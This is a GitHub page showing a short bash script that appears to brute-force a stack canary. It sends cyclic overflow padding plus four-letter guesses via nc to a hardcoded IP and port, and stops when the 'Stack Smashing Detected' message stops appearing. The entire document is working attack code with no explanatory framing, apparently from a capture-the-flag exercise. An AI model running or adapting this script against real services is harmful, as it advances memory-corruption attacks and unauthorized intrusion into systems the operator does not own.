-
Notifications
You must be signed in to change notification settings - Fork 0
/
peace_out.sh
35 lines (31 loc) · 1.45 KB
/
peace_out.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/bash
# Replace the following values with your actual server information
SERVER_IP="144.24.156.180"
SERVER_PORT=8888
# Iterate through all 4-letter combinations with both uppercase and lowercase letters
for STR1 in {s..z} {S..Z}; do
for STR2 in {a..z} {A..Z}; do
for STR3 in {a..z} {A..Z}; do
for STR4 in {a..z} {A..Z}; do
# Construct the command with the current values of STR1, STR2, STR3, and STR4
COMMAND="echo -e '68\naaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa${STR1}${STR2}${STR3}${STR4}' | nc ${SERVER_IP} ${SERVER_PORT}"
# Execute the command and filter the output
OUTPUT=$(eval "${COMMAND}" 2>&1 | grep "Stack Smashing Detected")
# Check if the output contains "Stack Smashing Detected"
if [[ -z "${OUTPUT}" ]]; then
# Print the current command to the console
echo "YES! ${STR1}${STR2}${STR3}${STR4}"
# Print the filtered output
echo "${OUTPUT}"
# Add a separator for better readability
echo "----------------------------------"
exit 0 # Exit the script if a match is found
else
echo "${STR1}${STR2}${STR3}${STR4}: x"
fi
done
done
done
done
# Print a message if no match is found
echo "No match found."